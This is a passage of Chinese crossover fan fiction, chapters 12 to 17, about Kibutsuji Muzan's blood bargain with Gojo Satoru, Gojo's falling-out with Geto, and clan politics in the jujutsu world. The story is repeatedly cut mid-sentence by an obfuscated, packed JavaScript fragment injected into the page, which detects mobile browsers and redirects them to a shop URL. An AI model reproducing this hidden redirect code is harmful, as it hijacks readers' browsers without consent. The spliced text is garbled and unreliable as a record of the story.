“不准对整个咒术界、全体咒术师和其他的普通人下手。” “这点你无须担心,毕竟,普通人在我眼里就是垃圾,咒术界也不过是些杂鱼统合在一起的集团罢了,我无意干涉。 至于其他咒术师,他们都比不上你。” 五条悟冲他翻了个白眼。 “我是不是还要谢谢你的夸奖啊?” “不客气。” “嘁。” 某人非常幼稚地做了个鬼脸。 “我的诉求很简单,您定期向我提供血液即可。” “不不不,一点都不简单。定期是多久,一次给多少,如果遇上了突发情况怎么办,这些都是……” 五条悟正叨叨叨叨地念着,这时,司机慢慢悠悠停下了车,弱弱出声:“那个,少主,我们到高专了。” 五条悟转过头去,才想起这车前面还坐着俩人呢。 “对对,差点把你俩忘了。来,立个束缚,今天听到的东西,无论如何都不可以透露半点。” 伏黑甚尔一拍脑袋,十分不情愿地跟司机一起立下束缚,瞪了一眼司机。 天哪,你知道这些消息,搁黑市里能卖到多少钱吗?光是独立于咒术之外的力量,和五条悟本人需要定期贡献血液这件事,足以使得整个咒术师和诅咒师系统崩溃。 “诶,我不在这下,给我送到别的地方。” 拜托,他是咒术师杀手诶,来咒术高专干嘛?还是不久前刚刚大闹了一场的地方。 五条悟扫了他一眼,转头看向鬼舞辻无惨。 “我跟你一起。” 鬼舞辻无惨从容开口。 12. 第 12 章 “每日一次,没得商量。” 一高一矮两个身影此刻正慢悠悠地一步一步上台阶,清晨近乎透明的金光穿过枝杈间的缝隙,点亮了原本灰沉沉的砖面。 “不要——————你把我当成血包了吗?一周一次,否则免谈。” 两人穿着如出一辙的白色T恤衫和黑色长筒裤,衣服料子一般,但被二人衬得仿佛是昂贵的奢侈品。 鬼舞辻无惨姿态矜贵,身形端正,一步一步踏着,是不是闭眼去平息身体内涌动的咒力。 五条悟则是:啊————好累啊——————为什么我不能眼睛一眨就回到自己的大床上啊——————为什么我要和这条人型虫子一起回高专啊—————————— “拒绝,间隔太长了,你难道一周才吃一次饭吗?” “有病啊,我不吃饭会死,你会吗?” 五条悟“噔噔噔噔”猛上四五个台阶,然后回头瞪了一眼还在挪动的鬼舞辻无惨。 “啊啊啊啊!一周两次,行了吧?” “三天。” “哈?” “三天一次,这是我最后的底线。” 五条悟耷拉着脸。 “切,知道啦 !那你到时间自己来高专找我,老子才懒得管你。” “我可以留在高专。” 鬼舞辻无惨慢悠悠补充到。 反正其他所有都是没必要的。 “不行————” 五条悟强烈抗议。 “绝对不行啊————我每天看着你那张脸会上吐下泻心情低落连饭都吃不下去的 ! 你自己说的,这也会影响血液品质的吧?! ” “不,和这,恰恰相反,我觉得你只是在故意找茬。” 五条悟无语。 “更何况,我离你近些,不就方便你杀我吗?” ? 五条悟有些狐疑地问到:“我怎么感觉你是那种会在半夜搞偷袭,能多喝一口血是一口的那种?” 鬼舞辻无惨:唯有沉默。 “……闭嘴。” “嘁,被我发现了吧————”五条悟大声嘲笑,“想得美 ! ” “不要着急拒绝。” 鬼舞辻无惨抬头,看着已经十分清晰的东京咒术高专的校门,微微一笑。 “你总会有需要我的力量的时候。” 五条悟想都没想,当即便反驳了。 “怎么可能,老子现在可是最强!有什么是我处理不了的事情?” 但看着对方仍旧笃定和平静的表情,五条悟不免也激起了些好胜心。 但鬼舞辻无惨并没有回答他,反倒是陷入沉思。 “是啊,我还没有拿普通人做过实验,也不知道用我现在的血所制造出来的鬼族,对阳光的抵抗性是多少……” 五条悟:“???等等 ! 你还在威胁我?啊?我们不是已经约定好了吗?” 此时此刻,从山门口传来一道威严的中年男性的嗓音。 “你们约定好了什么?五条悟,不要把不相关的人带到高专里来。” 鬼舞辻无惨定定凝视着那个戴墨镜的中年大叔,不算着急地回答五条悟。 “不是威胁,我只是好奇。不过既然答应了你,我就不会对他们出手。” “夜蛾校长!”五条悟显得很兴奋,“好久不见,还有夏油现在怎么样了?” 夜蛾正道老早就明白了五条悟的个性,也不指望他正经起来。 “硝子已经为他治疗了。不过你,五条悟,昨天晚上一直联系不到你,怎么现在才回来?” “还不是因为这家伙!”五条悟当即把锅甩给了站在一旁看戏的鬼舞辻无惨。 “这位是……” 不等五条悟开口,鬼舞辻无惨自己介绍起来。 “想必,这位便是东京咒术高专的校长先生了。” 鬼舞辻无惨笑容端正,用词颇为正式,惹的五条悟做了个“想吐”的表情。 “在下鬼舞辻无惨,希望能加入东京咒术高专。” 听见这个名字,夜蛾正道在墨镜之后的眼睛顿时一沉。 “无惨?这两天把禅院家和加茂家惹出动静来的那个家伙?” “正是在下。” 鬼舞辻无惨没想着隐瞒。 五条悟一听,怎么还关御三家的事情了? “那五条家呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406398|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“在下的目的向来不是各大家族,那些地方不过是虫子的聚集地罢了。” 鬼舞辻无惨用一贯的高傲的语气回答着两个人。 “在下只是为了他们的祖传术式。” 站在旁边的五条悟一个顿悟,发挥了自己一贯的咋咋呼呼的做派,但转念间又想到以吸食血液为生这件事情有些过于难以接受,还是隐瞒下来比较好。 于是他的话就变得有头没尾,令人糟心。 “噢噢噢噢——————所以你对我的&%……¥&这么热衷是因为我有六眼和祖传术式?” 夜蛾正道:? 鬼舞辻无惨:“正是。” “总而言之。”夜蛾正道补充到,“咒术高专可以接纳与御三家和咒术高层无关、亲近、甚至是有仇的人。 但绝对不会接受来历不明身份不明的恶人。” “哪怕我无比强大?” 鬼舞辻无惨反问到。 “是的。” “呵。”鬼舞辻无惨冷笑一声,“虫子果然喜欢用无关紧要的东西划定自己与他人的界限。” “喂!”五条悟适时出声警告,“说话放干净点,难道你还想被脑袋连着上半身一起炸干净吗?” “无所谓。别忘了你我的约定。” 眨眼间,鬼舞辻无惨消失在原地。 剩下的两人都十分默契地没有再提,反倒是夜蛾正道问起了有关于星浆体任务的事。 “啊,这个……”五条悟难得有些挫败,“算是我们大意了,星浆体被那个术士杀手杀死了。 天元那边,现在怎么搞?” “高层的人来探测过你和夏油杰战斗的痕迹,你们的敌人确实罕见,零咒力所以不会触发高专警报。有储物的咒灵,天与咒缚的强大□□。 高层那边只要确定你们不是有意阻止星浆体同化,应该就不会多加苛责。” 夜蛾正道叹了口气。 “就算没有暗杀,我怀疑,凭你们的性格,倒是更有可能妨碍同化。” 五条悟讪讪一笑,没有回答。 “好了,你平安归来,我就不说这些容易扫兴的话了。 去看看杰吧,他状态不怎么好。” 13. 第 13 章 当你和同伴畅想未来的时候,你觉得你们必定是自由的。 你觉得自己无比强大,可以抵御一切来犯之敌。 能够保护一切你想保护的人。 然后,是一声枪响。 血色四溅,像流转的霜。 “悟……” 当五条悟见到夏油杰的时候,简直被他现在的状态吓了一跳。 “喂,杰,你怎么把自己搞成这个样子啊?” 沉默,执着地沉默,连气息都变得缥缈起来。 “你昨天做什么去了?” 夏油杰的声音变得沉沉的,音量下降,语气起伏也变弱了。 不过问起昨天的事,五条悟略显亢奋地讲述到,两人的状态丝毫不同。 “哦——昨天和某个超强的存在打了个天昏地暗,今天才结束,刚结束我就回来了。” 话音刚落,五条悟看见夏油杰的脸上浮现出一种难以描述的,不算好的表情。 “……你现在很兴奋?” “诶?” 夏油杰深深喘了口气,张了张嘴,却没说出一个字。 良久,他的声音略显干涩。 “……没事,小理子呢。” 五条悟在原地站定了,也没再想着上前。 “那个杀手是盘星教雇来的,我已经让五条家的人去教内搜查了,那边有消息会第一时间联系我。” “那个杀手……他说你被他杀了……” “怎么可能————谁能打得过我。”五条悟第一时间反驳,结果发现过程与结果不符,于是补充到,“虽然是差点……不过我临了领悟了反转术式。” “那对方呢?你杀了他吗?” 一提起这个,五条悟顿时垮着一张脸, “别说了,你都不知道。那个咒术师杀手就剩最后一口气了,硬生生被他同伙救下来了。” “……所以你没有杀了他?没有为小理子报仇?” 五条悟终于认识到对方话语之中的责难。 “……哈?” “什么意思,你是在怪我吗?” 夏油杰反问到。 “既然你没事,为什么不去做呢?” “你肯定在怪我——————我……” 夏油杰打了个手势止住他的话。 “我不想和你吵。” 五条悟感觉自己脑门上被迎头来了个暴击。 “不是,我没有想和你吵架…… 那我们现在走?现在就出发。 去把参与买凶的盘星教教徒杀光,然后把那个杀手也一起处理掉。 去为小理子报仇。” “现在就走,杰。” 五条悟使出浑身解数,然后发现对方只回复自己一句: “已经没必要了。” “你只是不在意而已。 因为你是最强。” 五条悟:?! ! ! “杰——————你在说什么啊?我们不是一起的吗?我们才是最强啊 ! ” “我不是,悟。”夏油杰反驳到,“我连一个没有咒力的猴子都打不过,我什么都不是。” “啊?” 五条悟有些着急。 “可是那家伙确实很强啊,连我都差点……” “但你确实打败了他,对吗?” “那是他大意了啊。” 毕竟,如果伏黑甚尔刺穿自己脑门的那一刀,是用天逆鉾来捅的,那麽五条悟就彻底了无生机,也没有领悟反转术式的机会了。 “但你还是打败了他。” 夏油杰说,这是事实。 “只是他无论是活着还是死亡,对你来说都无所谓了,你已经蜕变,打败了曾经将你逼入绝境的人。” 五条悟脸上困惑的表情就没下来过。 “我怎么感觉我在你眼里就是一个没心没肺,只是为了追求最强,所以其他一切都无所谓了的混账形象啊?” “……你不是吗?” 五条悟恼。 结果细细一想,好像对方说的并没有错,昨天自己确实是打嗨了,其他一切都变得不重要了。 于是五条悟恼羞成怒,一怒之下,怒了一下。 “不是,你怎么能这么看我???” 对方还是咋咋呼呼的,夏油杰却一反常态地冷静下来。 “那么昨天的时候,你和那位你口中的强敌打的酣畅淋漓吧?你有没有想过小理子死了,我也可能会死。” “……杰?” “等等!我完全没想过你会死啊!” “如果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406399|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是昨天那人没有杀我,虽然不知道为什么。我确实是已经死了。” “你觉得我也能像你一样,绝境时候领悟反转术式吗?” 是反问,也是疑问。 语罢,夏油杰苦笑一声。 “我昨天晚上一宿没睡,想了一个晚上。” “悟,我大概,是没有资格和你站在一条线上的了。” 而这句话对于五条悟来说,无异于晴天霹雳。 “等等!我们不当挚友了吗?!!!” “如果我的实力比不上你,那我在你眼中,是挚友,还是仅作为彰显优越感的砂砾呢?” 虽然话语很尖锐,尖锐到完全不像是夏油杰能对五条悟说出来的。 但话语出口的那刻,仿佛一直卡在夏油杰心口的那到闸门轰的被破开。 但夏油杰舒服了,五条悟快炸了。 “我没有拿你彰显优越感! 没有 ! ! !” “我知道,我知道。” 夏油杰轻声回应。 “你在哄小孩子吗?! 我**(日式脏话)** 。 老子告诉你,老子哄不好了 ! ! ! ” 最后总结;“这咒术高专真是烦死人了 ! ” 于是等家入硝子带着校长的吩咐来到这里,本意是为了帮五条悟看看身上还有没有问题。 到场一看,人呢? 家入硝子年纪轻轻就已经领会到了社畜的真谛,翻了个白眼。 “五条悟呢?” 夏油杰沉默、 “可能是……被我气走了?” 家入硝子:哟,真稀奇。两个混蛋闹内讧了。 与此同时,五条悟离开高专之后,事实上无处可去。于是他一怒之下,准备回五条家发发怨气,好好欣赏一下五条家新安的大门。 众仆人 :不敢拦,完全不敢拦。 等五条悟十分任性地发泄完,侍从们才敢上前。 “少主……” “干嘛 ! 没看见我心情不好吗? 什么事,说。” “禅院家和加茂家近日在商讨,有关一位强大的敌人,似乎盯上了御三家的祖传术式。 家主担心您,于是准备在三天后的御三家会面上,您也一起跟着。” 14. 第 14 章 然后,在第三天。 “晚上好,五条悟。” ! ! ! ! ! ! ! 五条悟猛的一下从睡梦中惊醒,六眼在下一秒捕捉到了熟悉的身影,于是想起今天好像是约定好的提供血液的时间了。 但是…… “你有病啊——————” “现在是凌晨啊,凌晨啊————————” “你有那么着急吗混蛋 ! ” 木质的房门刷一下被关上,五条悟突然发难,瞬移到了刚到门口的鬼舞辻无惨身边,一掌把他的脑袋按在房门上,剧烈的碰撞发出令人牙酸的“砰”的一声。 “你有些暴躁呢,是没睡好的缘故吗?” 鬼舞辻无惨没有挣扎,安安分分地让他按着,只是骨刺顺势从脊背之中钻出,闪电般袭向五条悟的脖颈。 因为和挚友闹了矛盾,五条悟现在确实有点暴躁,但这并不妨碍他一手按着鬼舞辻无惨,另一只手狠狠抓住袭来的骨刺。 “原来你也知道现在把我吵醒会导致我睡眠不佳啊?” 五条悟手上用上咒力,用力一捏,骨刺直接断开。 “你个混蛋,别想碰我脖子。” 鬼舞辻无惨挑眉,退而求其次,手腕也行。 于是原先被五条悟捏在手上的骨刺瞬间生出诸多细小的短刺,扎进五条悟的手心和手腕的血管之中。 待进食完毕后,两人就跟啥也没发生过一样坐在屋里。 “我先去高专找的你,但是你不在。于是我便想着碰碰运气,看你会不会回五条家。” 鬼舞辻无惨砸吧砸吧嘴。 “看来你心情确实不好,连血液中都沾了些苦味。” …… 五条悟都不知道从哪里开始吐槽了。 “你,有,病,吧 ?” “你那什么嘴啊,还能尝出我心情不好。” 五条悟干巴巴地笑了两声,深感这个世界真特么荒诞。 “不过,我还真有事情要问你。” “愿闻其详。” 五条悟克制着用语。 “在你眼里,实力不如你的人,是什么样的?” “垃圾。” 鬼舞辻无惨毫不犹豫。 “老子就不该问你。” 五条悟倒是一点都没意外,无语地翻了个白眼。 “他说他实力不如我,真的不如我吗?嘶,就当不如我吧,那……” 蓦地,五条悟脑海中灵光一闪,转念间又皱起眉头来。 “等等,所以他心里是这样想的?” “比不上我不是很正常吗?因为我超强啊,还领悟了反转术式,就因为这?这就不当挚友啦?” 五条悟郁闷至极。 “垃圾就是喜欢用……” “不许骂他是垃圾。” 听到五条悟冷漠的话,鬼舞辻无惨十分顺从地及时改口。 “凡人的心思素来容易扭曲。对力量过于执着之人,在意识到自己无论如何努力,都无法翻越倾压在头顶的大山之时,这份纯粹的追求强大的心思就会变得混乱不堪。” 五条悟难得给鬼舞辻无惨好脸色,摸着下巴思考到:“但我感觉他那时候好像也没有特别的……不甘? 所以,只是觉得比不上我,所以就觉得自己不能当我的挚友啦?” “没必要啊。”五条悟对自己的推断下了结论,并且认为:“就这么决定了,怎么能因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406400|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这种事就不当挚友了呢?” “我现在……不行,我们现在还在冷战呢,老子才不要先低头。 不过就算在冷战,有关理子妹妹的葬礼,他总不能不管吧?” 五条悟越想越合适,一把揪过还在一旁当背景的鬼舞辻无惨,就吩咐到。 “喂,今天下午,御三家的高层整出来个联合会面,据说是要处理你搞出来的事。 五条家的老头子本来想让我去的,但是老子现在要忙着修补友情,没时间陪那群烂橘子叽叽喳喳。 既然是你搞出来的事,你自己去解决算了。 不过说好,不许乱杀人。” “哪怕是对方先出手?” 五条悟耸耸肩,反正这家伙也确实难杀。 “对面有蠢货对你动手的话你再出手呗,能不杀人就别杀。” “咒术界高层虽然聚集了一群贪婪的蠢货,但目前整个咒术师体系的运转还需要他们活着。” 鬼舞辻无惨欣然同意,并试图向对方寻得报酬。 五条悟摆摆手,向他表示小意思。 “反正你去把事情干完,老子才不想听那群烂橘子搁那叭叭叭的。完事以后就来高专吧,不出意外我基本上就一直会待在学校里了。” “事情办完,今天血随便喝,我走了哈。” 留下这么一句话,五条悟选择在凌晨火速袭击高专,并在一声“轰”的爆响后,将夏油杰的宿舍房门轰成渣渣,目标直指夏油杰的床。 于是乎,在凌晨刚被鬼舞辻无惨吵醒,隔了俩小时,好不容易迷迷糊糊有点睡意的夏油杰,下一秒就被深夜袭击的五条悟惊醒,被迫从床上被拉起来。 夏油杰:妈的,你最好有事。 15. 第 15 章 五条悟本人倒是十分没心没肺地跑回高专了,只是等天蒙蒙亮,当五条家主进到房间里后,看见他千叮咛万嘱咐这几天一定要好好待在五条家的人不知道跑哪去了,出现在房间里的反而是最近把御三家其中之二都得罪了的人。 要不是在联络过夜蛾校长之后,确定五条悟那小子现在确确实实平平安安在高专待着,五条家高低要和对方干起来。 “早上好,各位。” 鬼舞辻无惨慢悠悠地站起,仿佛回家了一样自然。 “听说各位最近在商讨如何对付我,是吗? 不知道我是否有资格也一道前去旁听呢?” 五条家主:…… 他现在总算是有点明白小辈口中说的讨厌某些没有边界感的人是什么感觉了。 五条家主颇有些忧伤地想到,难怪,既然盯上御三家祖传术式的人是一个强大、自我、行动力极强的存在,很有可能在五条家得到消息前,就已经和五条悟有过接触了。 按照五条悟的性子,遇见了什么大概也不愿意和家里说,现在还自己一个人跑了。 跑了就算了,让这家伙加入进来是什么意思? 对御三家明晃晃的挑衅吗? 五条家主无奈叹了口气,声音沉稳:“阁下怎么称呼。” “鬼舞辻无惨。” “无惨阁下。”五条家主尽可能地斟酌语气,“您确定,悟他明确说让您来参加御三家会面吗?” “当然确定,我恐怕没有理由编出个由头来糊弄你吧?” “但五条家并没有和其余两家作对的打算。” “……你直接说有没有问题。” “没有。”五条家主并没有犹豫。 因为他了解五条悟,虽然这家伙恣意狂傲整天没个正形,但对五条家有害的事情,他也不会这么草率地决定下来。 当然,也有可能五条悟只是单纯不想见到他们这群老家伙而已。 “那么……”五条家主有些迟疑,“您准备如何解决其余两家对您的敌视呢?” 鬼舞辻无惨微笑着回应:“绝对的实力可以抹平一切阻碍,你们愿意事事惯着五条悟来,不也是因为这个吗?” 五条家主:“但我也说过,五条家仍旧是御三家的一员。” 倘若鬼舞辻无惨是随着五条家的人一起前往议事,一方面,他说的确实正确。在咒术界,绝对的实力能消灭一切阻碍,五条家倘若背靠五条悟与鬼舞辻无惨二人,怕是另外两家并不敢多说半点。 而如何向外人传达出“鬼舞辻无惨绝对支持五条家”这一结论呢? 鬼舞辻无惨明显也知道对方想跟自己讨要什么,直接大大方方表示。 “我对你们之间的谈判没有兴趣,当然,你也可以随意利用我的力量作为筹码。” “代价是什么?” 五条家主谨慎地询问到。 ——————大概就是时不时去找五条悟喝两口吧? 但不必担心,鬼舞辻无惨向来对优质的食物抱有足够的耐心。竭泽而渔这种事情,他可不愿意干的。 “代价就是…… 我会向五条悟索求一些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406401|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他能力范围之内的东西。” 鬼舞辻无惨微笑着,两人谈判成功。 …… 毫无疑问的,鬼舞辻无惨的出现会给会场所有人都带来了不小的冲击。 在禅院扇被鬼舞辻无惨杀死之后,禅院直毘人对鬼舞辻无惨抱有相当程度的警惕,特别是在禅院直哉一直叨叨叨对方有多强的情况下。 此次御三家会面,禅院家派出禅院甚一和禅院直哉作为领头人,还没进门的时候,鬼舞辻无惨就听见禅院直哉那及其富有特点的嗓音穿透而来。 “当初跟着的人是你挑的吧?你还不明白他们的实力吗?” 禅院甚一十分烦躁的话语也跟着一起传来。 “你可从来没有夸赞过禅院家之外的人。” 禅院直哉摆摆手。 “拜托,人家有这个实力,我不夸他,难道夸实力不高,长得也不好看的你吗?” 禅院甚一表示不屑地“嘁”了一声。 “一面之词,等五条家的人到场,我们自会有讨论。” “哦。”禅院直哉的嗓音听起来有些惊喜,“五条家的人到了?不知道悟君会不会也一起………… ” 不过五条悟没来。 来的是鬼舞辻无惨。 等看清五条家主身边跟着的人之后,禅院直哉发誓自己已经用了毕生的修养,试图把即将脱口而出的脏话重新咽回肚子里。 “啊啊,这不是无惨大人吗————” “好久不见,我记得你。” 鬼舞辻无惨的红眸亮的令人心惊。 16. 第 16 章 “听闻有人对我的到来有诸多不喜?” 鬼舞辻无惨自大到将其他御三家的人都当做了空气,慢悠悠踱步到会场中央,找了个舒服的椅子坐了下来。 “怎么会呢————————” 禅院直哉是最先跟上去的一个人。 “毕竟连我也没想到,您真的会来。 这叫什么…………意外惊喜才对!” 五条家主及其身后的一列随从,对鬼舞辻无惨占了他们的位置没有表现出丝毫的不满,仅是一言不发地在原定的场地落座。 鬼舞辻无惨十分放松地靠在椅背上,右手支着额头,身子微微倾斜。 他似乎对禅院直哉很感兴趣,自然而然地将脑袋向他的方向偏过去,饶有兴致地看着他。 “上次见到你的时候,你的金发远没有没有如今这般灿烂。” 禅院直哉伸手从一旁捞了个椅子过来,曲着腿坐在他身边。他发现鬼舞辻无惨在没有攻击欲望和进食欲望的时候,好像特别好说话。 “我昨天才去重新染了一次,需要把店铺推荐给你吗?” “不了。”鬼舞辻无惨婉拒,“我对我现在的发型发色很满意,并没有想更换的意思。” 两人就搁着你一下我一下地聊起来了,看的禅院甚一满头黑线。 “直哉! 这个家伙杀了禅院家数个一级咒术师,你怎么能与之为伍! ” 禅院直哉露出显而易见的嫌弃的表情,语气低迷。 “你个丑男人就别打断我和无惨大人的闲聊了。” 禅院甚一被这句话呛的直咳嗽,满脸迷惑。 啊?这个以貌取人的金毛孔雀真的是禅院家的少主吗? “更何况,你以为我不知道吗?那群人分明就是老……咳咳,分明就是家主派来监视我的,这群老东西死后,我都感觉自己自由了不少。” 禅院直哉懒得理他,并在心里把这群不识货的御三家老头子骂了个遍。清晰地表示自己坚定站在鬼舞辻无惨这边,反正不管什么时候,抱强者的大腿总是没有错的嘛。 本次会面,除了五条家的家主到达现场后,其余二家都只是派了家主之下的人来参加。但这并不意味着其余两家对此不重视,或是凌驾于五条家之上。 需要注意的是,五条家虽然雄踞御三家最强,但这完全是五条悟平安长大,并完全觉醒的原因。 由于五条家的祖传术式百年难出其一,五条家在没有祖传术式的年代里,在御三家的地位略显尴尬。 又因为六眼命中注定百年必出其一的特质,因而五条家本质上就是个以六眼为绝对核心的运转机构,五条家家主本质上就是这个机构里最贴近六眼持有者的侍从,其作用就是维持五条家在经济领域和咒术领域的绝对霸权,以此为六眼的成长提供必要的物质基础。 所以,在一个可能威胁到五条悟的敌人出现时,五条家主会出现在现场,这并不奇怪。 令其余两家所惊诧的,是他居然把鬼舞辻无惨带来了。 这算什么?对其余两大势力的挑衅? 加茂家的来人长着一张四四方方的脸,满脸戾气,语气不善。 “五条家这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406402|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是准备自成一派吗?” “怎么会呢?” 五条家主是个善于言语立场交锋的家伙,整天一副笑眯眯的样子,包括现在也是,用最和谐的话说最狂妄的事。 “五条家当然无意于打破目前的平衡,所做的一切都是为了悟君的健康成长。不过,有位强者愿意为悟君停留,这也是很正常的事情吧?” 现在五条家不仅背靠完全体的五条悟这座大山,还有一个独立于咒术界之外的强者愿意无条件协助,这对目前御三家三足鼎立的局面提出了巨大的挑战。 哪怕五条家主说的比唱的都好听,但这反倒是更为激起其余两家的警惕。 在三方势力争斗的过程中,鬼舞辻无惨和禅院直哉这边岁月静好。 “无惨大人,你真的支持五条家啦?” 感觉现在的鬼舞辻无惨心情不错,禅院直哉带着些试探性的目的说到。 “啊,不是什么大事,我和五条家时不时会有个交易就是了。” “这么说来……”禅院直哉回忆到,“我上次见您的时候,您还说要去找加茂家和五条家在祖传术式。” “不过加茂家把他们的祖传术式宝贝的跟什么一样,其他家族的人基本都见不到。” “小鬼。”鬼舞辻无惨一边听着会场三方的讨论,一边对禅院直哉说着,“你比上加茂家的那个祖传术式也差不到哪去。” “但比五条悟可就差远了。” 禅院直哉冲他大大叹了一口气,语气有点沮丧,又带着点对强者的崇拜。 “毕竟是悟君嘛……” 17. 第 17 章 小事开大会,大事开小会,特大事紧急开小会。 在五条家把鬼舞辻无惨带到会场之后,咒术界的高层排除了五条家的成员后,自发地进行了一次只有几个人的谈话。 “我早就说过,五条家的那群人不会安安分分地守着他们的六眼 ! 现在倒好,居然敢明目张胆地对其他家族的祖传术式下手。” 一个苍老的声音,带着浓浓的怒意。 “知道了又如何,那时我们可没有能和六眼对抗的手段。” 还算平静的男声。 “禅院家的老头子,你们那个祖传术式,还不想办法并入家族吗?” 责备与疑问。 “别说了!那家伙最先盯上的就是我们禅院家的祖传术式,那天我们派出去的人,除了现在的禅院家的少主,其余所有一级和二级咒术师都死在了那个混蛋的手上!” 禅院家的高层差点就要拍桌叫板了,怒斥禅院家的小辈一个比一个不争气。祖传术式甘愿流落在外,现在的少主还把敌人当宝贝供着。 “好了好了,小辈们都一个劲闷头训练去了,陡然遇见这种实力的对手,心生崇拜是很正常的事情。” 试图缓解一下凝重氛围的女声。 “正常正常,那你说现在这种情况,我们还能怎么办? !” 女声停了一下。 “那能怎么办?实力为尊是我们这些老家伙一同遵守的准则,现在五条家一手一个王牌,我们当然拿他们没办法。” “那就这样被五条家压一头?甚至被踩在脚底下?” “那你说怎么办?” “好了好了,各位再争吵下去,也吵不出一个结果。” 在一扇屏风的后面,沉稳而庄严的老年男性一下一下地点着桌面,发出“哒、哒、哒”的清脆的声响。 他的脸上丝毫没有因为此事而焦急、苦恼的表情,反倒是饶有兴致地看着桌面上的一份,加茂家收集的有关于鬼舞辻无惨已知情报的文件。 当真是有意思。 现在的灯光有些昏暗,男人脸上的表情看不大仔细。只是在忽明忽暗的清晰中,能从他的额间,窥见一丝细线,蜿蜿蜒蜒,仿若未知的诅咒。 “既然如此,不如各位听我一言。 反正五条家还愿意与我们保持明面上的交好,不如趁着这段时机,试探一下如今的六眼和那位未知的敌人,究竟处于何种境界。 知道了这个,才方便我们接下来的行动,不是吗?” 男人估计在这几个高层之中也是很有威望的一个,随着他的话音落下,争吵声逐渐平息了下来。 “……哼,你说的轻巧。” “试探五条悟的实力倒不是很难,只需把封存的有关特级咒灵的任务派遣给他即可。” “但那名为无惨的怪人又该如何处置。” “加茂宪屹”引导着对方顺着自己的思维思考:“既然那位无惨阁下,从始至终都是为了御三家的祖传术式,那么他被五条家拉拢基本可以被预料到。 不过,他更为在意的必定是五条悟一人。 若是五条悟那边出了什么岔子,抑或是五条悟本人邀请他出手,这便是我们探究对方实力的好机会。” 狭小的会议室里总算没了挑刺的杂音。 “既然五条悟已经领悟了反转术式,那便不能只给他先前那些强度的任务了。” “各位让家族里的人挑些被封存已久的特级咒灵的信息,然后作为任务派遣给五条悟吧。” “这样就可以了?” “不不不。” “加茂宪屹”补充到:“这是为了让五条悟出手的举动。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406403|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不过除此之外,我更希望各位也能挑选些任务,分派给高专的其他人。” “这又是为什么?” “加茂宪屹”长长呼出一口气。 “让对方疲于奔命,自顾不暇,对我们就越有利。 如果只是针对五条悟本人,是很难达到这种效果的。” 但是啊,但是,五条悟,你爱上了这种生活,你不愿离开高专的氛围。 而这,就恰恰成为了你的弱点。 我很期待高专的那几个小鬼绝望的、破裂的样子。 不断分化敌人,逐个击破。 “加茂宪屹”意味不明地笑了两声。 “所以,只要针对五条悟身边的人,就能创造于我们有利的条件。 况且,高专那些,大多又都是平民,也不至于伤了你我的和气。” “如果各位同意我的提议,不如……” 